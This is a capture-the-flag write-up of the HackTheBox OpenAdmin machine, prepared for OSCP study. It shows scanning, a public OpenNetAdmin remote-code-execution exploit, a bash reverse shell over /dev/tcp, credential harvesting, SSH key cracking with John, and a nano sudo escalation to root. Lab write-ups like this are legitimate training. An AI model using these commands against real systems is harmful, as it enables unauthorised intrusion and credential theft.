Writeup: HackTheBox OpenAdmin - Without Metasploit (OSCP Prep)
Tags: python, webdev
Published: 2021-09-22 16:02:53

I recently completed the OpenAdmin box from Hackthebox. While this box was rated as being easy it was a little tricky to get my footing and working around the box.

##Command:
**nmap -sC -sV -O -T4 -p- -oN nmap.txt 10.10.10.171**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tg72qjawxhdk5wcmz9k0.PNG)

#Ports Open:
1. 22 OpenSSH 7.6p1, Is the main tool for connecting remote login with SSH. SSH encrypts all the traffic as well as providing Securing tunneling plus some other cool things.
2. 80 Apache httpD 2.4.29, This is a free and open-source cross-platform web server. Mostly these servers run on Linux but some of the current/up-to-date ones run on Windows.

Being that I like messing around the website first I will skip over the first port and head directly over to the site.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7ddwxn5lohk3yjlehmw3.PNG)

So nothing too interesting here for me. So lets, fire up some *Directory Busting* tools.

##Command:
**dirb http://10.10.10.171/ -o dirb.txt**

1. -o = Will capture this in an output so if you want to clear your screen after it runs you can.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gtb9iz9z22k36a24gy4m.PNG)

After some time we should get a pretty long list for directories found.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/okaz7kavmlg0rgvnkqjj.PNG)
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hx7o5qtg0aijtxljrhz9.PNG)

After getting the results we can now head over to the sites that were discovered. It appears to be some landing pages that don't provide too much information for us. 

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kmq02v3lndifa8p7i6ec.PNG)

But after we get to the */music* location it appears to be a login section which wasn't on the other sites.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/phty9va1m0t1p6gyvv7u.PNG)

Clicking on the *login* button should bring up a new page called */ona*.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9vg7ui3vzn0yclkjyin4.PNG)

Searching on the page brings up the below *User Info* page. It shows us as being logged in as an *guest* and that the Database is running on *mysqli*.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4j2mppq8m5s7hkodal7a.PNG)

Searching around some and we are able to find the version information.

**v18.1.1**

When typing *ona v18.1.1* into Google, it provides us with the following.

**OpenNetAdmin v18.1.1**

OpenNetAdmin provides a database managed inventory of your IP network. Each subnet, host, and IP can be tracked via a centralized AJAX enabled web interface that can help reduce tracking errors. A full CLI interface is available as well to use for scripting and bulk work.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tc146nbqn56qzitqght2.PNG)

Now that we have this key information let's check for any exploits on Kali that we can use for it.

##Command:
**searchsploit OpenNetAdmin**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fjnf8xwqlbk13z5cggxn.PNG)

Let's go with the last one.

##Command:
**locate php/webapps/47691.sh**
**cp /usr/share/exploitdb/exploits/php/webapps/47691.sh .**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cekrupdx5o0rqwki68wt.PNG)

##Command:
**cat 47691.sh**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/you0g2bqbw8ouwguciup.PNG)

The code above will push out a *pseudo-shell* for us.

Before running the code you will need to reformat it.

##Command:
**dos2unix 47691.sh**

##Command:
**./47691.sh 10.10.10.171/ona/**

This will bring up a limited shell on the machine. I decided to use another python script instead, so depending on what you want to do the option is yours.

##Command:
**wget https://raw.githubusercontent.com/amriunix/ona-rce/master/ona-rce.py**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0kgaf0vybuej9pjz8agf.PNG)

Let's run the code to read the options:

##Command:
**python3 ona-rce.py**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rdwk9je4qhizowx12ezf.PNG)

After running the script we get 2 options. One of which is to *check* if the victim is vulnerable and another one to *exploit*.

##Command:
**python3 ona-rce.py check http://10.10.10.171/ona/**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/t1armva3lxz9ho9gefow.PNG)

Now off to the races.

##Command:
**python3 ona-rce.py exploit http://10.10.10.171/ona/**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3o5cqcs0nkdmst9tu6u9.PNG)

So I am the *www-data* user.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e5wmini9fa3tb3wlj7y5.PNG)

Let's get a better shell on the machine.

##Command:
**nc -nvlp 1234**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ca57ilpo5suhuc1uw4ky.PNG)

##Command:
**/bin/bash -C 'bash -i >& /dev/tcp/_tun0_/1234 0>&1'**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/av9rmscshp9ykzdszjzp.PNG)

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/oscpk7q88oszvv64hf4h.PNG)

I am going to check around on the box for any hidden files, while doing this I come across the following 2 users.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/34t3mvcr32mbagwax3p5.PNG)

After some additional searches on the box I come across the following password for the *localhost*.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ekg1qev7nm2g80frsjkv.PNG)

Save these creds to a file.
Now review the file to make sure.

##Command:
**cat password**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/50bxxt383tsgtxbapcco.PNG)

Remember that there was a SSH port open before. I am going to try and use the usernames we found with the password we just discovered to login.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mkj38hdmi8i9gbavecol.PNG)

Something should have stuck out to you. When I copied that Password to my file I left out the *!* by accident. Make sure you are paying close attention to this when you are running on a box.

No try this again with the *!*.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nny39cuzthucluj8x08u.PNG)

Let's look at what is running here.

##Command:
**netstat -a**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hs4zrnkfaeamwb9sovxf.PNG)

We can see that a *localhost:52846*.

While looking at this directory, I see a file called *main.php*.

I tried to cat it but didn't show much from there so I am going to use *Curl* with the knowledge that netstat showed there is something running here at the localhost port *52846*.

##Command:
**Curl http://127.0.0.1:52846/main.php**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rvuv9pobm4ie5j2rpwft.PNG)

We can see that there is a *RSA Private Key* here.

Let's copy and paste this into a new file.

##Command:
**echo > key**
**nano key**
Then paste the code, CTRL+X then Yes to save it.

Verify the contents of file by *Cat* the file.

I am going to use JohntheRipper to crack this.

But first if you haven't already unziped the *txt.gz*, do the following.

##Command:
**cd /usr/share/wordlists**
**gunzip rockyou.txt.gz**
**ls** To verify that it worked.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mjwlwn60vksskx9lbfg9.PNG)

Now let's run John!

##Command:
**sudo john --wordlist=/usr/share/wordlists/rockyou.txt key**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hhfar0k5r4to0r7ye1b2.PNG)

So save this password somewhere for the future *bloodninjas*.

Heading back over to the box, I am going to continue to look through what additional files I can find.

##Command:
**cat index.php**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/si89m50nxdjaf4sx6aeq.PNG)

We see that there is another password here and looks to be hashed with Sha512!. 

Grab this and we will run it in the *Crackstation* to see if it has been cracked. 

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/b2d8ho6a8sqamgc8fnwz.PNG)

Now using the *id_rsa* file which should include your RSA key, lets use this and the newly found password to log into *Joanna*.

##Command:
**chmod 600 id_rsa**
**ssh -i id_rsa joanna@10.10.10.171**

input passphrase

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wezustzy7gprxh2fydjo.PNG)

##Command:
**sudo -l**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zpcxv4aqpi7s1e36zkha.PNG)

This shows that *No password* is needed when run from the */bin/nano /opt/priv*. 

Head over to GTFObins [Link](https://gtfobins.github.io/gtfobins/nano/)
and you see there is a way to spawn a root shell.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jq7eqdis31ihwnxv0otw.PNG)

Using *nano* to open the */bin/nano /opt/priv* file you will now edit it.

##Command:
**reset; sh 1>&0 2>&0**

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/x8b66fe1mpp54vfbijsu.PNG)

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xyk9xnhm8hfyk58ovfc7.PNG)

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1tmvuqfeo2w77ndj6xpo.PNG)